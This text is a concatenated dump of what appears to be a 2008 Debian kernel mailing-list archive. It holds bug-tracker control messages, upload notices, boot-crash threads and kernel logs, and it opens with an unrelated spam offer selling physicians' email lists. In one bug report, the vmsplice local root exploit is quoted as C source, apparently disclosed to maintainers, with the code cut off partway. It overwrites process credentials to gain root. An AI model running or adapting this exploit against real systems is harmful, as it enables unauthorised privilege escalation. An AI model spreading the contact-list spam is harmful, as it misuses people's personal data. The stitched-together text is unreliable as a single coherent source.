MD Listing
Here's what we're offering for this week: Currently in Practice: MDs in the USA 788,435 in total * 17,845 emails Lots of MDs in specialties like Orthopedics, Surgery, Radiology, Dermatology, Neurology, General Practice etc.. Can easily be sorted by 16 different fields US Pharmaceutical Company Executives Contact List 47,000 names and emails of the major positions Hospitals in the United States Full data for all the major positions in more than 7k facilities US Dentist Listing A complete Listing or dentists and related services (valued at $399) Chiropractors in the USA 100k Chiropractors offices with full contact data including email, postal address, phone and fax Now priced at: $391 for all lists above Email us at: [EMAIL PROTECTED] good until Feb 15 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Scanned with Copfilter Version 0.83beta3a (ProxSMTP 1.4) AntiSpam: SpamAssassin 3.1.4 AntiVirus: ClamAV 0.88.4/4020 - Tue Aug 21 15:46:02 2007 by Markus Madlener @ http://www.copfilter.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Scanned with Copfilter Version 0.83beta3a (ProxSMTP 1.4) AntiVirus: ClamAV 0.88.4/4020 - Tue Aug 21 15:46:02 2007 by Markus Madlener @ http://www.copfilter.org -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: severity of 393332 is important
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 severity 393332 important Bug#393332: linux-image-2.6.18-1-686 requires modern yaird Severity set to `important' from `normal' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: forcibly merging 403171 393332
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 forcemerge 403171 393332 Bug#403171: linux-image-2.6.18-3-686: Please update yaird Depends version to = 0.0.12-15 Bug#393332: linux-image-2.6.18-1-686 requires modern yaird Forcibly Merged 393332 403171. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: reassign 389441 to yaird
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 reassign 389441 yaird Bug#389441: installation of image package fails with yaird 0.0.12-14 Bug reassigned from package `linux-2.6' to `yaird'. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: tagging 403171
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.9.26 tags 403171 + pending Bug#403171: linux-image-2.6.18-3-686: Please update yaird Depends version to = 0.0.12-15 There were no tags set. Bug#393332: linux-image-2.6.18-1-686 requires modern yaird Tags added: pending End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processing of linux-2.6_2.6.22-6.lenny1_i386.changes
linux-2.6_2.6.22-6.lenny1_i386.changes uploaded successfully to localhost along with the files: linux-2.6_2.6.22-6.lenny1.dsc linux-2.6_2.6.22.orig.tar.gz linux-2.6_2.6.22-6.lenny1.diff.gz linux-doc-2.6.22_2.6.22-6.lenny1_all.deb linux-manual-2.6.22_2.6.22-6.lenny1_all.deb linux-patch-debian-2.6.22_2.6.22-6.lenny1_all.deb linux-source-2.6.22_2.6.22-6.lenny1_all.deb linux-support-2.6.22-3_2.6.22-6.lenny1_all.deb linux-tree-2.6.22_2.6.22-6.lenny1_all.deb linux-headers-2.6.22-3-all_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-all-i386_2.6.22-6.lenny1_i386.deb linux-libc-dev_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-486_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-486_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-686_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-686_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-k7_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-k7_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-686-bigmem_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-686-bigmem_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-amd64_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-amd64_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-vserver_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-vserver-686_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-vserver-686_2.6.22-6.lenny1_i386.deb linux-image-2.6.22-3-vserver-k7_2.6.22-6.lenny1_i386.deb linux-headers-2.6.22-3-vserver-k7_2.6.22-6.lenny1_i386.deb Greetings, Your Debian queue daemon -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
maximilian attems wrote: on shiny fujitsu p700 lifebook, with a Crusoe processor. FWIW, I misremembered the model number. It's a not-so-shiny P2110. -- see shy jo signature.asc Description: Digital signature
Bug#464945: closed by Bastian Blank [EMAIL PROTECTED] (Bug#464945: fixed in linux-2.6 2.6.24-4)
Hi Bastian, On Mon, 2008-02-11 at 17:00 +0300, Vitaliy Okulov wrote: When 2.6.18-6 kernel image will be updated? when will you patch 2.6.18 in stable as this is much more important than the one in unstable? (although my own desktop is secure for the moment :-) ) Regards, Amir -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464953: marked as done (linux-2.6: mmap() local root exploit)
Your message dated Mon, 11 Feb 2008 13:02:15 +
with message-id [EMAIL PROTECTED]
and subject line Bug#464945: fixed in linux-2.6 2.6.24-4
has caused the Debian Bug report #464945,
regarding linux-2.6: mmap() local root exploit
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [EMAIL PROTECTED]
immediately.)
--
464945: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464945
Debian Bug Tracking System
Contact [EMAIL PROTECTED] with problems
---BeginMessage---
Package: linux-2.6
Version: 2.6.22-3-generic
Severity: critical
Tags: security
Justification: root security hole
There is a security hole in all versions of linux-2.6 distributed by
Debian, including Etch's kernel.
The attached exploit code can be used to test if a kernel is vulnerable,
it starts a root shell.
-- System Information:
Debian Release: lenny/sid
APT prefers testing
APT policy: (500, 'testing')
Architecture: i386 (i686)
Kernel: Linux 2.6.22-3-generic (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
*** proof-of-concept.c
/*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*/
#define _GNU_SOURCE
#include stdio.h
#include errno.h
#include stdlib.h
#include string.h
#include malloc.h
#include limits.h
#include signal.h
#include unistd.h
#include sys/uio.h
#include sys/mman.h
#include asm/page.h
#define __KERNEL__
#include asm/unistd.h
#define PIPE_BUFFERS16
#define PG_compound 14
#define uintunsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x)(x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
voidexit_code();
charexit_stack[1024 * 1024];
voiddie(char *msg, int err)
{
printf(err ? [-] %s: %s\n : [-] %s\n, msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
voidexit_kernel()
{
__asm__ __volatile__ (
movl %0, 0x10(%%esp) ;
movl %1, 0x0c(%%esp) ;
movl %2, 0x08(%%esp) ;
movl %3, 0x04(%%esp) ;
movl %4, 0x00(%%esp) ;
iret
: : i (USER_SS), r (STACK(exit_stack)), i (USER_FL),
i (USER_CS), r (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
movl %%esp, %%eax ;
andl %1, %%eax ;
movl (%%eax), %0
: =r (curr)
: i (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
voidexit_kernel()
{
__asm__ __volatile__ (
swapgs ;
movq %0, 0x20(%%rsp) ;
movq %1, 0x18(%%rsp) ;
movq %2, 0x10(%%rsp) ;
movq %3, 0x08(%%rsp) ;
movq %4, 0x00(%%rsp) ;
iretq
: : i (USER_SS), r (STACK(exit_stack)), i (USER_FL),
i (USER_CS), r (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
movq %%gs:(0), %0
: =r (curr)
);
return (void *) curr;
}
#else
#error unsupported arch
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
voidkernel_code()
{
int i;
uint*p = get_current();
for (i = 0; i 1024-13; i++) {
if (p[0] == uid p[1] == uid
p[2] == uid p[3] == uid
p[4] == gid p[5] == gid
p[6] == gid p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
voidexit_code()
{
if (getuid() != 0)
Processed: bug 463785 is forwarded to http://madwifi.org/ticket/1774
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 forwarded 463785 http://madwifi.org/ticket/1774 Bug#463785: linux-image-2.6.24-1-686: ath5k doesn't associate Forwarded-to-address changed from http://madwifi.org/ticket/1774 to http://madwifi.org/ticket/1774. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: bug 463785 is forwarded to http://madwifi.org/ticket/1774
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.13 forwarded 463785 http://madwifi.org/ticket/1774 Bug#463785: linux-image-2.6.24-1-686: ath5k doesn't associate Noted your statement that Bug has been forwarded to http://madwifi.org/ticket/1774. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
On Tue, Feb 12, 2008 at 12:32:27PM -0800, H. Peter Anvin wrote: INT 6 is #UD, undefined instruction. If you could send me a copy of your vmlinux file (not bzImage), it would speed things up. cp -l src/linux-2.6-2.6.24/debian/build/build_i386_none_686/vmlinux ~/public_html/ http://charm.itp.tuwien.ac.at/~mattems/ I happen to have an old TM5800-based machine sitting around, so I can probably reproduce it. -hpa cool -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: tagging 465512
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.9.26 tags 465512 + pending Bug#465512: linux-image-2.6.18-6-amd64: broken symlink /lib/modules/2.6.18-6-amd64/source There were no tags set. Tags added: pending End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: merging 463716 464910
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.16 merge 463716 464910 Bug#463716: linux-image-2.6.24-1-686: hwclock fails without --directisa Bug#464910: hwclock doesn't work with this kernel Merged 463716 464910. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464919: Fails to boot (reboots after BIOS data check)
On Tue, Feb 12, 2008 at 01:57:22AM +0100, maximilian attems wrote: On Sat, 09 Feb 2008, Jacek Politowski wrote: Package: linux-image-2.6.24-1-686 Version: 2.6.24-3 Severity: important Machine reboots right after booting - after the dots and BIOS data check successful., before Uncompressing kernel. try to manualy rerun lilo, does that help? It helped, thanks. Probably, the bug can be closed now, if it was only a glitch on my system, not something with the package in general. (next time I'll try running LILO before reporting) -- Jacek Politowski -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#388453: via driver fails to handle interrupt
On Mon, Feb 11, 2008 at 11:21:46PM +0100, maximilian attems wrote: || On Wed, 06 Feb 2008, Vincent Zweije wrote: || Reportbug asked for 2.6.24-2 but I didn't see that on || packages.debian.org, so this is for 2.6.24-1. || || thanks for the quick feedback! || || did you try booting with the bootparam irqpoll? || via boxes are missing upstream specs, thus.. Startup log attached. Irqpoll is not fun for daily operations: the system becomes far too slow. Furthermore a cdrom window (sound juicer) keeps popping up now, and hdc failures are being spewed all over the place. I suspect the via interrupt is now being interpreted as a spurious hdc interrupt or something. || you may want to sign and propagate || http://www.petitiononline.com/vialinux/ Sounds good on principle, though the actual effect would seem dubitable. Ciao.Vincent. -- Vincent Zweije [EMAIL PROTECTED]| If you're flamed in a group you http://www.xs4all.nl/~zweije/ | don't read, does anybody get burnt? [Xhost should be taken out and shot] |-- Paul Tomblin on a.s.r. Feb 12 23:05:17 arrow syslogd 1.5.0#1.1: restart. Feb 12 23:05:17 arrow kernel: klogd 1.5.0#1.1, log source = /proc/kmsg started. Feb 12 23:05:17 arrow kernel: Initializing cgroup subsys cpuset Feb 12 23:05:17 arrow kernel: Linux version 2.6.24-1-686 (Debian 2.6.24-2) ([EMAIL PROTECTED]) (gcc version 4.1.3 20080114 (prerelease) (Debian 4.1.2-19)) #1 SMP Thu Jan 31 20:35:50 UTC 2008 Feb 12 23:05:17 arrow kernel: BIOS-provided physical RAM map: Feb 12 23:05:17 arrow kernel: BIOS-e820: - 0009f800 (usable) Feb 12 23:05:17 arrow kernel: BIOS-e820: 0009f800 - 000a (reserved) Feb 12 23:05:17 arrow kernel: BIOS-e820: 000f - 0010 (reserved) Feb 12 23:05:17 arrow kernel: BIOS-e820: 0010 - 1bff (usable) Feb 12 23:05:17 arrow kernel: BIOS-e820: 1bff - 1bff3000 (ACPI NVS) Feb 12 23:05:17 arrow kernel: BIOS-e820: 1bff3000 - 1c00 (ACPI data) Feb 12 23:05:17 arrow kernel: BIOS-e820: fec0 - fec01000 (reserved) Feb 12 23:05:17 arrow kernel: BIOS-e820: fee0 - fee01000 (reserved) Feb 12 23:05:17 arrow kernel: BIOS-e820: - 0001 (reserved) Feb 12 23:05:17 arrow kernel: 0MB HIGHMEM available. Feb 12 23:05:17 arrow kernel: 447MB LOWMEM available. Feb 12 23:05:17 arrow kernel: found SMP MP-table at 000f5a50 Feb 12 23:05:17 arrow kernel: Entering add_active_range(0, 0, 114672) 0 entries of 256 used Feb 12 23:05:17 arrow kernel: Zone PFN ranges: Feb 12 23:05:17 arrow kernel: DMA 0 - 4096 Feb 12 23:05:17 arrow kernel: Normal 4096 - 114672 Feb 12 23:05:17 arrow kernel: HighMem114672 - 114672 Feb 12 23:05:17 arrow kernel: Movable zone start PFN for each node Feb 12 23:05:17 arrow kernel: early_node_map[1] active PFN ranges Feb 12 23:05:17 arrow kernel: 0:0 - 114672 Feb 12 23:05:17 arrow kernel: On node 0 totalpages: 114672 Feb 12 23:05:17 arrow kernel: DMA zone: 32 pages used for memmap Feb 12 23:05:17 arrow kernel: DMA zone: 0 pages reserved Feb 12 23:05:17 arrow kernel: DMA zone: 4064 pages, LIFO batch:0 Feb 12 23:05:17 arrow kernel: Normal zone: 863 pages used for memmap Feb 12 23:05:17 arrow kernel: Normal zone: 109713 pages, LIFO batch:31 Feb 12 23:05:17 arrow kernel: HighMem zone: 0 pages used for memmap Feb 12 23:05:17 arrow kernel: Movable zone: 0 pages used for memmap Feb 12 23:05:17 arrow kernel: DMI 2.3 present. Feb 12 23:05:17 arrow kernel: ACPI: RSDP 000F76E0, 0014 (r0 VIAK8 ) Feb 12 23:05:17 arrow kernel: ACPI: RSDT 1BFF3000, 002C (r1 VIAK8 AWRDACPI 42302E31 AWRD 1010101) Feb 12 23:05:17 arrow kernel: ACPI: FACP 1BFF3040, 0074 (r1 VIAK8 AWRDACPI 42302E31 AWRD 1010101) Feb 12 23:05:17 arrow kernel: ACPI: DSDT 1BFF30C0, 45DC (r1 VIAK8 AWRDACPI 1000 MSFT 10C) Feb 12 23:05:17 arrow kernel: ACPI: FACS 1BFF, 0040 Feb 12 23:05:17 arrow kernel: ACPI: APIC 1BFF76C0, 005A (r1 VIAK8 AWRDACPI 42302E31 AWRD 1010101) Feb 12 23:05:17 arrow kernel: ACPI: PM-Timer IO Port: 0x4008 Feb 12 23:05:17 arrow kernel: ACPI: Local APIC address 0xfee0 Feb 12 23:05:17 arrow kernel: ACPI: LAPIC (acpi_id[0x00] lapic_id[0x00] enabled) Feb 12 23:05:17 arrow kernel: Processor #0 15:12 APIC version 16 Feb 12 23:05:17 arrow kernel: ACPI: LAPIC_NMI (acpi_id[0x00] dfl dfl lint[0x1]) Feb 12 23:05:17 arrow kernel: ACPI: IOAPIC (id[0x02] address[0xfec0] gsi_base[0]) Feb 12 23:05:17 arrow kernel: IOAPIC[0]: apic_id 2, version 3, address 0xfec0, GSI 0-23 Feb 12 23:05:17 arrow kernel: ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) Feb 12 23:05:17 arrow kernel: ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 low level) Feb 12 23:05:17 arrow kernel: ACPI: IRQ0 used by override. Feb 12 23:05:17 arrow kernel: ACPI: IRQ2
Bug#464919: marked as done (Fails to boot (reboots after BIOS data check))
Your message dated Tue, 12 Feb 2008 23:28:45 +0100 with message-id [EMAIL PROTECTED] and subject line Re: Bug#464919: Fails to boot (reboots after BIOS data check) has caused the Debian Bug report #464919, regarding Fails to boot (reboots after BIOS data check) to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 464919: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464919 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.24-1-686 Version: 2.6.24-3 Severity: important Machine reboots right after booting - after the dots and BIOS data check successful., before Uncompressing kernel. It didn't occur in 2.6.24-2 and it doesn't occur in 2.6.22-3. I'm running it on Intel Core2Duo E6600 on ASRock 775Dual-VSTA (VIA chipset mainboard). I haven't changed CMOS settings or added any hardware recently. -- Package-specific info: -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-686 (SMP w/2 CPU cores) Locale: LANG=pl_PL, LC_CTYPE=pl_PL (charmap=ISO-8859-2) Shell: /bin/sh linked to /bin/bash Versions of packages linux-image-2.6.24-1-686 depends on: ii debconf [debconf-2.0]1.5.19 Debian configuration management sy ii initramfs-tools [linux-initr 0.91d tools for generating an initramfs ii module-init-tools3.3-pre11-4 tools for managing Linux kernel mo Versions of packages linux-image-2.6.24-1-686 recommends: ii libc6-i6862.7-6 GNU C Library: Shared libraries [i -- debconf information: linux-image-2.6.24-1-686/preinst/overwriting-modules-2.6.24-1-686: true linux-image-2.6.24-1-686/postinst/bootloader-error-2.6.24-1-686: linux-image-2.6.24-1-686/postinst/create-kimage-link-2.6.24-1-686: true linux-image-2.6.24-1-686/prerm/would-invalidate-boot-loader-2.6.24-1-686: true linux-image-2.6.24-1-686/preinst/initrd-2.6.24-1-686: linux-image-2.6.24-1-686/preinst/lilo-has-ramdisk: linux-image-2.6.24-1-686/preinst/abort-install-2.6.24-1-686: linux-image-2.6.24-1-686/prerm/removing-running-kernel-2.6.24-1-686: true linux-image-2.6.24-1-686/preinst/abort-overwrite-2.6.24-1-686: linux-image-2.6.24-1-686/postinst/bootloader-test-error-2.6.24-1-686: linux-image-2.6.24-1-686/preinst/lilo-initrd-2.6.24-1-686: true shared/kernel-image/really-run-bootloader: true linux-image-2.6.24-1-686/postinst/old-system-map-link-2.6.24-1-686: true linux-image-2.6.24-1-686/preinst/failed-to-move-modules-2.6.24-1-686: linux-image-2.6.24-1-686/postinst/depmod-error-initrd-2.6.24-1-686: false linux-image-2.6.24-1-686/preinst/bootloader-initrd-2.6.24-1-686: true linux-image-2.6.24-1-686/postinst/old-initrd-link-2.6.24-1-686: true linux-image-2.6.24-1-686/postinst/old-dir-initrd-link-2.6.24-1-686: true linux-image-2.6.24-1-686/postinst/depmod-error-2.6.24-1-686: false linux-image-2.6.24-1-686/preinst/elilo-initrd-2.6.24-1-686: true linux-image-2.6.24-1-686/postinst/kimage-is-a-directory: ---End Message--- ---BeginMessage--- On Tue, Feb 12, 2008 at 11:17:50PM +0100, Jacek Politowski wrote: On Tue, Feb 12, 2008 at 01:57:22AM +0100, maximilian attems wrote: On Sat, 09 Feb 2008, Jacek Politowski wrote: check successful., before Uncompressing kernel. try to manualy rerun lilo, does that help? It helped, thanks. ok cool, thanks for feedback - closing. Probably, the bug can be closed now, if it was only a glitch on my system, not something with the package in general. (next time I'll try running LILO before reporting) hmm searching a box with lilo, hmm zu none at hands at anymore, be sure to have do_bootloader = yes in /etc/kernel-img.conf and none of the grub hooks. see man kernel-img.conf ---End Message---
redhat-cluster_2.20080212-1_amd64.changes ACCEPTED
Accepted: cman_2.20080212-1_amd64.deb to pool/main/r/redhat-cluster/cman_2.20080212-1_amd64.deb gfs-tools_2.20080212-1_amd64.deb to pool/main/r/redhat-cluster/gfs-tools_2.20080212-1_amd64.deb gfs2-tools_2.20080212-1_amd64.deb to pool/main/r/redhat-cluster/gfs2-tools_2.20080212-1_amd64.deb gnbd-client_2.20080212-1_amd64.deb to pool/main/r/redhat-cluster/gnbd-client_2.20080212-1_amd64.deb gnbd-server_2.20080212-1_amd64.deb to pool/main/r/redhat-cluster/gnbd-server_2.20080212-1_amd64.deb libcman-dev_2.20080212-1_amd64.deb to pool/main/r/redhat-cluster/libcman-dev_2.20080212-1_amd64.deb libcman2_2.20080212-1_amd64.deb to pool/main/r/redhat-cluster/libcman2_2.20080212-1_amd64.deb libdlm-dev_2.20080212-1_amd64.deb to pool/main/r/redhat-cluster/libdlm-dev_2.20080212-1_amd64.deb libdlm2_2.20080212-1_amd64.deb to pool/main/r/redhat-cluster/libdlm2_2.20080212-1_amd64.deb redhat-cluster-source_2.20080212-1_all.deb to pool/main/r/redhat-cluster/redhat-cluster-source_2.20080212-1_all.deb redhat-cluster-suite_2.20080212-1_all.deb to pool/main/r/redhat-cluster/redhat-cluster-suite_2.20080212-1_all.deb redhat-cluster_2.20080212-1.diff.gz to pool/main/r/redhat-cluster/redhat-cluster_2.20080212-1.diff.gz redhat-cluster_2.20080212-1.dsc to pool/main/r/redhat-cluster/redhat-cluster_2.20080212-1.dsc redhat-cluster_2.20080212.orig.tar.gz to pool/main/r/redhat-cluster/redhat-cluster_2.20080212.orig.tar.gz rgmanager_2.20080212-1_amd64.deb to pool/main/r/redhat-cluster/rgmanager_2.20080212-1_amd64.deb Override entries for your package: cman_2.20080212-1_amd64.deb - optional admin gfs-tools_2.20080212-1_amd64.deb - optional admin gfs2-tools_2.20080212-1_amd64.deb - optional admin gnbd-client_2.20080212-1_amd64.deb - optional admin gnbd-server_2.20080212-1_amd64.deb - optional admin libcman-dev_2.20080212-1_amd64.deb - optional libdevel libcman2_2.20080212-1_amd64.deb - optional libs libdlm-dev_2.20080212-1_amd64.deb - optional libdevel libdlm2_2.20080212-1_amd64.deb - optional libs redhat-cluster-source_2.20080212-1_all.deb - optional admin redhat-cluster-suite_2.20080212-1_all.deb - optional admin redhat-cluster_2.20080212-1.dsc - source admin rgmanager_2.20080212-1_amd64.deb - optional admin Announcing to [EMAIL PROTECTED] Thank you for your contribution to Debian. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: severity of 464962 is serious
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.16 severity 464962 serious Bug#464962: immediate crash on boot on TM5800 Severity set to `serious' from `important' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465508: linux-image-2.6.24-1-686: Kernel freeze all system
On Tue, Feb 12, 2008 at 09:46:32PM +0100, Rafael wrote: Using Debian Sid and linux-image-2.6.24-686: System is complete freeze when amsn application starts session. Amsn works well with previous linux images as like as 2.6.22-3-686. When system is freeze, I press Alt + Impr + b and kernel do not reboot. not beeing an msn user, can you help to track that down. is that really 100% reproducable or did it happen only once? any syslog oops left when this happens? -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
On Tue, Feb 12, 2008 at 01:42:50PM -0800, H. Peter Anvin wrote: Okay, the faulting instruction is the following: c0383360: 0f 1f 40 00 nopl 0x0(%eax) include/asm-x86/nops.h: | /* P6 nops */ | /* uses eax dependencies (Intel-recommended choice) */ [...] | #define P6_NOP4 .byte 0x0f,0x1f,0x40,0\n Bastian -- Leave bigotry in your quarters; there's no room for it on the bridge. -- Kirk, Balance of Terror, stardate 1709.2 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
Bastian Blank wrote: On Tue, Feb 12, 2008 at 01:42:50PM -0800, H. Peter Anvin wrote: The Crusoe code morphing software apparently doesn't recognize these long noops, and (presumably) the rest of the hinting NOOP group. gcc didn't use to generate them, and Crusoe/Efficeon generally do not benefit from code alignment anyway. I suspect the best thing to do is to use either a 586 kernel or build a dedicated Crusoe kernel without code alignment. Crusoe is explicitely marked as 586 with TSC in the kernel config. Yes, but the kernel in question wasn't compiled as a Crusoe kernel, but a generic 686 kernel. -hpa -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
On Tue, Feb 12, 2008 at 01:42:50PM -0800, H. Peter Anvin wrote: The Crusoe code morphing software apparently doesn't recognize these long noops, and (presumably) the rest of the hinting NOOP group. gcc didn't use to generate them, and Crusoe/Efficeon generally do not benefit from code alignment anyway. I suspect the best thing to do is to use either a 586 kernel or build a dedicated Crusoe kernel without code alignment. Crusoe is explicitely marked as 586 with TSC in the kernel config. Bastian -- Either one of us, by himself, is expendable. Both of us are not. -- Kirk, The Devil in the Dark, stardate 3196.1 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465501: marked as done (/var/lib/linux-image-2.6.24-1-xen-686/xen-versions empty)
Your message dated Wed, 13 Feb 2008 00:59:51 +0100 with message-id [EMAIL PROTECTED] and subject line Re: Bug#465501: /var/lib/linux-image-2.6.24-1-xen-686/xen-versions empty has caused the Debian Bug report #465501, regarding /var/lib/linux-image-2.6.24-1-xen-686/xen-versions empty to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 465501: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=465501 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.24-1-xen-686 Version: 2.6.24-3 Severity: normal File: /var/lib/linux-image-2.6.24-1-xen-686/xen-versions Hello, in the package linux-image-2.6.24-1-xen-686 the file /var/lib/linux-image-2.6.24-1-xen-686/xen-versions is empty and so update-grub doesn't add Xen 3.0.3-1-i386-pae / Debian GNU/Linux, kernel 2.6.24-1-xen-686 to /boot/grub/menu.lst. I tried to understand how xen-versions is generated, but I gave up, so I have no patch for you. Best regards Uwe -- System Information: Debian Release: 4.0 APT prefers proposed-updates APT policy: (900, 'proposed-updates'), (900, 'stable'), (300, 